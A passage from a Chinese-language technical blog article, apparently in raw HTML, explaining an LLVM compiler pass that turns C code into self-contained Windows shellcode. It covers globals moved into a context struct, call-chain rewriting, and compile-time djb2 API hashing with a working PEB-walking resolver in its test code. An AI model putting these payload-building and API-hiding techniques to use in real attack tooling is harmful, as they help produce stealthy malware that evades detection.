&#34;</span> &lt;&lt; F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getName</span>()</span><span leaf=""><br/></span><span leaf="">               &lt;&lt; <span class="code-snippet__string">&#34; -&gt; &#34;</span> &lt;&lt; NF</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getName</span>() &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__keyword">return</span> NF;</span><span leaf=""><br/></span><span leaf="">    }</span></code></pre></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1zlk" style="font-size: 15px;"><span leaf="">签名改写的具体实现是在 </span><strong><span leaf="">addCtxParameter() </span></strong><span leaf="">中完成的：构造新的 </span><strong><span leaf="">FunctionType</span></strong><span leaf="">（在原参数列表末尾追加 </span><strong><span leaf="">ShellcodeCtx*</span></strong><span leaf="">），用 </span><strong><span leaf="">Function::Create() </span></strong><span leaf="">创建新函数，通过 </span><strong><span leaf="">ValueToValueMapTy</span></strong><span leaf=""> 建立旧参数到新参数的映射，最后调用</span><strong><span leaf=""> CloneFunctionInto()</span></strong><span leaf=""> 将原函数体完整克隆到新函数中。旧函数在所有调用点重写完成并确认无引用后被 </span><strong><span leaf="">eraseFromParent()</span></strong><span leaf=""> 删除。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7tdy1m" style="font-size: 15px;"><strong><span leaf="">调用点重写</span></strong><span leaf="">步骤如下: 遍历 fnRemap 映射，找到所有 CallInst 中调用了</span><strong><span leaf="">旧函数</span></strong><span leaf="">的位置，在参数列表末尾追加当前函数的 fnToCtxPtr（entry 传 alloca 地址，非 entry 传接收到的 ctx 参数），用 IRBuilder 构造新的 CallInst 并替换旧指令。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td218o" style="font-size: 15px;"><span leaf="">全局变量的访问替换在重写调用点之后进行，然后每个函数的入口块前置缓存 GEP 指令（避免重复生成），将所有对 @g_xx 的直接引用和 ConstantExpr 包裹的间接引用全部替换为</span><strong><span leaf=""> GEP ctxPtr, 0, fieldIdx</span></strong><span leaf="">。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="padding: 3px;display: inline-block;vertical-align: middle;box-sizing: border-box;"><div style="border-radius: 5px;background-color: rgb(71, 193, 168);box-sizing: border-box;"><div style="border-radius: 5px;border-color: rgb(221, 221, 221);padding-left: 8px;padding-right: 8px;border-style: solid;border-width: 1px;display: inline-block;vertical-align: top;margin: 3px -3px -3px 3px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Shellcode 调用链分析与全函数收集</span></strong></p></div></div></div></div></div></div><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdgz5" style="font-size: 15px;">Pass 的入口工作是定位所有 Shellcode 入口函数，随后以此为根节点递归展开完整的调用图。这两步共同决定了后续所有变换的作用域——只有被纳入调用链的函数才会被改写，链外的函数保持不变。</span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7tdbcg" style="font-size: 15px;"><span leaf="">入口函数定位通过扫描 </span><strong><span leaf="">llvm.global.annotations</span></strong><span leaf=""> 元数据实现。在 C 源码侧，开发者通过</span><strong><span leaf=""> __attribute__((annotate(&#34;shellcode&#34;)))</span></strong><span leaf=""> 标注入口函数，Clang 会将该注解以</span><strong><span leaf=""> ConstantStruct</span></strong><span leaf=""> 数组的形式写入 IR 中的</span><strong><span leaf=""> llvm.global.annotations </span></strong><span leaf="">全局变量，Pass 遍历该数组并比对注解字符串即可精确定位入口。</span></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5530474040632054" data-type="webp" data-w="1329" width="788" data-imgfileid="311131173" src="https://wechat2rss.xlab.app/img-proxy/?k=2f4ddccf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0vT5Nx027yQJtKKhUR6A68FQ6tLNR2n3RzY1KqC8CdhhkYUJvlx2iaX367zRYV3ziaKCZq78myqYD3enbVcuTfKMOI9YfZiad8sc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td15z2" style="font-size: 15px;"><strong><span leaf="">递归收集</span></strong><span leaf="">以 DFS 方式实现：对每个函数遍历其所有基本块内的全部 CallInst，取 getCalledFunction()，若被调函数有函数体（!isDeclaration()）且未曾访问，则递归进入。visited 集合（即最终的 chainFuncs）防止环状调用导致无限递归。值得注意的是我们在实现调用链分析的时候</span><strong><span leaf="">需要检测函数指针逃逸。</span></strong></span></p><p style="text-align: justify;"><strong mpa-font-style="mp0nq7td2v5" style="font-size: 15px;"><span leaf="">函数指针逃逸检测是非常重要的安全机制：由于 Pass 要改写所有非 entry 函数的签名，如果某函数的地址在改写前已被存入变量（store）或作为参数传给外部回调（call @qsort），那么运行时调用时签名不匹配会直接导致崩溃。</span></strong></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td16ss" style="font-size: 15px;"><span leaf="">检测逻辑遍历每个链内函数的所有 Use，凡是出现在 CallInst 的 callee 位置之外的用法，且不属于 LLVM 元数据（</span><strong><span leaf="">llvm.global.annotations / llvm.used</span></strong><span leaf="">）的，均视为逃逸并终止编译。</span></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td12lx" style="font-size: 15px;">检测到逃逸后，Pass 会通过 report_fatal_error() 中止整个编译，并打印逃逸点的具体指令与所在函数。</span></p><p style="text-align: justify;"><strong mpa-font-style="mp0nq7td1gz6" style="font-size: 15px;"><span leaf="">修复方法：将间接调用改写为直接的 switch/if 分派，这里也是Shellcode框架的写法要求。</span></strong></p><p style="text-align: justify;"><span style="font-size: 15px;font-weight: bold;" mpa-font-style="mp0nq7tdj27"><span leaf="">字节数组分块聚合与内联初始化优化</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1wmb" style="font-size: 15px;"><span leaf="">这里的优化也很重要因为，在把全局变量的初始化数据写入栈上 ShellcodeCtx 时，朴素做法是对每个字节生成一条 store i8——对于 1024 字节的查找表这将产生 1024 条指令，代码体积急剧膨胀，且 LLVM 后端极有可能将密集的 store i8 序列重新合成为 call memset 或 call memcpy，引入外部符号依赖，彻底破坏 Shellcode 的自包含性。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1wmb" style="font-size: 15px;"><span leaf="">且</span><strong><span leaf="">绝对禁止使用 llvm.memset intrinsic</span></strong><span leaf="">。LLVM 后端对超过约 128 字节的 llvm.memset 会展开为 call memset，引入 libc 依赖。即便是 inline 的 intrinsic 形式也存在此风险，因此必须完全绕开。所以我们给出如下的策略。</span></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2967032967032967" data-type="webp" data-w="1365" width="788" data-imgfileid="311131178" src="https://wechat2rss.xlab.app/img-proxy/?k=ff723314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3gViaDwhib3qAlAAU7vYV2emTMcOCsybQxjic4r6xtQQTNd0KxU32X5M9Lotazib3KQrYrnro6XHNetYzJibmx3ucxTMa7p1yhBABY%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6179775280898876" data-type="webp" data-w="1335" width="788" data-imgfileid="311131179" src="https://wechat2rss.xlab.app/img-proxy/?k=584d7059&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3IaSCScQZqEpMZ5740MTZMZibRSQzB5qN2jcljTHTVdmY8yZNE75YickmQfxI6tnjVtvV96UibUUlGldVJavJMoETAaUDYsdGRHY%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7tdslw" style="font-size: 15px;"><strong><span leaf="">分块聚合</span></strong><span leaf="">的核心逻辑实现：通过 ConstantDataArray::getRawDataValues() 获取原始字节流，按 8 字节边界切分，以小端字节序拼装为 uint64_t 立即数，通过 GEP i8* basePtr, offset 定位目标地址后 bitcast 为 i64*，生成 MaybeAlign(1) 的非对齐 store。这保证了字节精确语义的同时将指令数压缩到 ⌈n/8⌉。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1o01" style="font-size: 15px;"><strong><span leaf="">零填充</span></strong><strong><span leaf="">的大数组或大尺寸变量实现:</span></strong><span leaf="">通过 BasicBlock::splitBasicBlock() 手动构造 CFG：将当前插入点之后的指令切分到新块，在中间插入 loop_bb（含 PHI + condBr），后端面对规整的计数器循环有机会优化为 REP STOSQ，最终生成的机器码体积为 O(1)，与零填充大小无关。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="padding: 3px;display: inline-block;vertical-align: middle;box-sizing: border-box;"><div style="border-radius: 5px;background-color: rgb(71, 193, 168);box-sizing: border-box;"><div style="border-radius: 5px;border-color: rgb(221, 221, 221);padding-left: 8px;padding-right: 8px;border-style: solid;border-width: 1px;display: inline-block;vertical-align: top;margin: 3px -3px -3px 3px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">编译期 API 哈希与运行时动态符号解析</span></strong></p></div></div></div></div></div></div><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1a4x" style="font-size: 15px;"><span leaf="">在这里我们要解决的问题是</span><span style=""><span leaf="">Shellcode 不具备 PE 导入表，无法通过常规链接器符号机制调用 Windows API。Pass 的最后阶段将调用链中所有对外部函数声明的 </span></span><span style=""><span leaf="">CallInst</span></span><span style=""><span leaf=""> 替换为基于哈希的动态解析模式，消除全部外部符号引用。</span></span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7tdojw" style="font-size: 15px;"><span leaf="">整个机制分为两个完全解耦的部分：编译期由 Pass 完成字符串哈希化与 IR 重写；运行时由用户提供的 resolve_api 函数完成 PEB 遍历与符号查找。两者通过一个 64 位哈希值（djb2）对接，Shellcode 中不存在任何 API 名称字符串。这样有个好处就是</span><strong><span leaf="">不论用户将该编译器用于什么环境只要API能通过譬如PEB 或者ssdt表的形式获得就完全能够生成对应环境下的Shellcode</span></strong><span leaf="">, 内核可以通过ssdt,R3通过PEB walker。</span></span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.649016641452345" data-type="webp" data-w="1322" width="788" data-imgfileid="311131177" src="https://wechat2rss.xlab.app/img-proxy/?k=0429f0c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K026V78NWE132CSpw9gx7hxrXB2mK2tXD1OibZyicoC0Mg18PF7exufx0QdPqgJQ0qSrdNrHGOHBg4wNiap1I6LPofM82eFOrSLHE%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1hmq" style="font-size: 15px;"><strong><span leaf="">IR 重写</span></strong><span leaf="">的具体步骤：扫描函数体内所有调用外部声明函数的 CallInst（跳过 llvm.* intrinsic 与 resolve_api 自身），在每个 call site 前插入 call i64 @resolve_api(i64 hash_imm)，将返回的整数通过 IRBuilder::CreateIntToPtr() 转换为原函数指针类型，再构造新的间接 CallInst 替换原有直接调用并删除旧指令。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td147g" style="font-size: 15px;"><span leaf="">resolve_api 由用户实现，Pass 仅负责编译期哈希化与 call site 重写，不绑定特定的运行时解析逻辑。用户可根据目标环境选择 PEB walk、自定义 TEB 遍历或其他符号解析方式，</span><strong><span leaf="">只要函数签名为 i64 resolve_api(i64) 即可。</span></strong></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="padding: 3px;display: inline-block;vertical-align: middle;box-sizing: border-box;"><div style="border-radius: 5px;background-color: rgb(71, 193, 168);box-sizing: border-box;"><div style="border-radius: 5px;border-color: rgb(221, 221, 221);padding-left: 8px;padding-right: 8px;border-style: solid;border-width: 1px;display: inline-block;vertical-align: top;margin: 3px -3px -3px 3px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">效果展示</span></strong></p></div></div></div></div></div></div><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdjeh" style="font-size: 15px;">测试代码：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0nq7td1w6q"><span leaf=""><span class="code-snippet__comment">// test_payload_full.c</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// CShellCodePass 综合测试用例</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 覆盖场景:</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [GV-1]  字符串字面量(只读, .rdata)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [GV-2]  可写全局标量(int)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [GV-3]  可写全局数组</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [GV-4]  零初始化全局(.bss)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [GV-5]  结构体全局</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [GV-6]  函数局部 static 变量(也是全局)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [CHAIN] 多层调用链 entry -&gt; A -&gt; B -&gt; C</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [API]   多个外部 API,部分共享同一个名字</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [SHARE] 多个 helper 共享同一个全局(测 ctx 透传一致性)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//   [BIG]   大字节数组(测 8 字节 chunk 化优化)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 使用 SHELLCODE_FUNC 标注 entry,helpers 不标注但会被调用链拉进来</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">define</span> WIN32_LEAN_AND_MEAN</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;windows.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;winternl.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;stdint.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;stddef.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">define</span> SHELLCODE_FUNC __attribute__((annotate(<span class="code-snippet__string">&#34;shellcode&#34;</span>)))</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//  resolve_api 部分(和你原版一致,略写)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint64_t</span><span leaf=""> <span class="code-snippet__title">gvr_djb2</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">const</span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> *s)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">uint64_t</span><span leaf=""> h = <span class="code-snippet__number">5381</span>;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">while</span> (*s) h = ((h &lt;&lt; <span class="code-snippet__number">5</span>) + h) + (</span><span leaf="">unsigned</span><span leaf="">char</span><span leaf="">)(*s++);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">return</span> h;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint64_t</span><span leaf=""> <span class="code-snippet__title">scan_module</span><span class="code-snippet__params">(BYTE *base, </span></span><span leaf=""><span class="code-snippet__params">uint64_t</span></span><span leaf=""><span class="code-snippet__params"> target)</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint64_t</span><span leaf=""> <span class="code-snippet__title">resolve_forwarder</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">const</span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> *fwd)</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">uint64_t</span><span leaf=""> <span class="code-snippet__title">resolve_api</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">uint64_t</span></span><span leaf=""><span class="code-snippet__params"> target)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    PPEB peb = (PPEB)__readgsqword(<span class="code-snippet__number">0x60</span>);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (!peb || !peb-&gt;Ldr) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    PLIST_ENTRY head = &amp;peb-&gt;Ldr-&gt;InMemoryOrderModuleList;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">for</span> (PLIST_ENTRY p = head-&gt;Flink; p != head; p = p-&gt;Flink) {</span><span leaf=""><br/></span><span leaf="">        LDR_DATA_TABLE_ENTRY *e =</span><span leaf=""><br/></span><span leaf="">            <span class="code-snippet__built_in">CONTAINING_RECORD</span>(p, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);</span><span leaf=""><br/></span><span leaf="">        BYTE *base = (BYTE *)e-&gt;DllBase;</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__keyword">if</span> (!base) <span class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf="">uint64_t</span><span leaf=""> addr = <span class="code-snippet__built_in">scan_module</span>(base, target);</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__keyword">if</span> (addr) <span class="code-snippet__keyword">return</span> addr;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint64_t</span><span leaf=""> <span class="code-snippet__title">scan_module</span><span class="code-snippet__params">(BYTE *base, </span></span><span leaf=""><span class="code-snippet__params">uint64_t</span></span><span leaf=""><span class="code-snippet__params"> target)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (dos-&gt;e_magic != IMAGE_DOS_SIGNATURE) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos-&gt;e_lfanew);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (nt-&gt;Signature != IMAGE_NT_SIGNATURE) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    IMAGE_DATA_DIRECTORY *dir =</span><span leaf=""><br/></span><span leaf="">        &amp;nt-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (!dir-&gt;VirtualAddress || !dir-&gt;Size) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    PIMAGE_EXPORT_DIRECTORY exp =</span><span leaf=""><br/></span><span leaf="">        (PIMAGE_EXPORT_DIRECTORY)(base + dir-&gt;VirtualAddress);</span><span leaf=""><br/></span><span leaf="">    DWORD *names = (DWORD *)(base + exp-&gt;AddressOfNames);</span><span leaf=""><br/></span><span leaf="">    DWORD *funcs = (DWORD *)(base + exp-&gt;AddressOfFunctions);</span><span leaf=""><br/></span><span leaf="">    WORD  *ords  = (WORD  *)(base + exp-&gt;AddressOfNameOrdinals);</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">for</span> (DWORD i = <span class="code-snippet__number">0</span>; i &lt; exp-&gt;NumberOfNames; i++) {</span><span leaf=""><br/></span><span leaf="">const</span><span leaf="">char</span><span leaf=""> *n = (</span><span leaf="">const</span><span leaf="">char</span><span leaf=""> *)(base + names[i]);</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__built_in">gvr_djb2</span>(n) != target) <span class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf="">        WORD ord = ords[i];</span><span leaf=""><br/></span><span leaf="">        DWORD rva = funcs[ord];</span><span leaf=""><br/></span><span leaf="">        BYTE *addr = base + rva;</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__keyword">if</span> (rva &gt;= dir-&gt;VirtualAddress &amp;&amp;</span><span leaf=""><br/></span><span leaf="">            rva &lt;  dir-&gt;VirtualAddress + dir-&gt;Size) {</span><span leaf=""><br/></span><span leaf="">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">resolve_forwarder</span>((</span><span leaf="">const</span><span leaf="">char</span><span leaf=""> *)addr);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__keyword">return</span> (</span><span leaf="">uint64_t</span><span leaf="">)(</span><span leaf="">uintptr_t</span><span leaf="">)addr;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint64_t</span><span leaf=""> <span class="code-snippet__title">resolve_forwarder</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">const</span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> *fwd)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">const</span><span leaf="">char</span><span leaf=""> *dot = fwd;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">while</span> (*dot &amp;&amp; *dot != <span class="code-snippet__string">&#39;.&#39;</span>) dot++;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">if</span> (*dot != <span class="code-snippet__string">&#39;.&#39;</span> || !dot[<span class="code-snippet__number">1</span>]) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">resolve_api</span>(<span class="code-snippet__built_in">gvr_djb2</span>(dot + <span class="code-snippet__number">1</span>));</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//  各种全局变量(测试 GV-1 ~ GV-5)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ============================================================</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [GV-1] 字符串字面量 —— 实际是 private constant,Clang 自动产生的</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 这些不会显式声明为全局,但 IR 里有 @.str / @.str.1 等</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [GV-2] 可写全局标量</span></span><span leaf=""><br/></span><span leaf="">int</span><span leaf="">   g_counter = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">DWORD g_flags   = <span class="code-snippet__number">0x12345678</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [GV-3] 可写全局数组</span></span><span leaf=""><br/></span><span leaf="">char</span><span leaf=""> g_msg_buf[<span class="code-snippet__number">64</span>] = <span class="code-snippet__string">&#34;default message&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [GV-4] 零初始化的大 buffer(测试 ChunkedInit + 零字段)</span></span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf="">char</span><span leaf=""> g_workspace[<span class="code-snippet__number">256</span>] = { <span class="code-snippet__number">0</span> };</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [GV-5] 结构体全局</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">struct</span> {</span><span leaf=""><br/></span><span leaf="">    DWORD magic;</span><span leaf=""><br/></span><span leaf="">    DWORD size;</span><span leaf=""><br/></span><span leaf="">char</span><span leaf="">  tag[<span class="code-snippet__number">16</span>];</span><span leaf=""><br/></span><span leaf="">} Header;</span><span leaf=""><br/></span><span leaf="">Header g_header = { <span class="code-snippet__number">0xDEADBEEF</span>, <span class="code-snippet__number">256</span>, <span class="code-snippet__string">&#34;shellcode-v1&#34;</span> };</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// [BIG] 大块字节数据(测 chunk 化压缩效果)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 这种数据典型用法:嵌入式密钥、shellcode 模板、协议常量</span></span><span leaf=""><br/></span><span leaf="">const</span><span leaf="">unsigned</span><span leaf="">char</span><span leaf=""> g_key[<span class="code-snippet__number">64</span>] = {</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x4D</span>, <span class="code-snippet__number">0x5A</span>, <span class="code-snippet__number">0x90</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x03</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x04</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0xFF</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0xB8</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x40</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>,</span><span leaf=""><br/></span><span leaf="">    <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span class="code-snippet__number">0x00</span>, <span 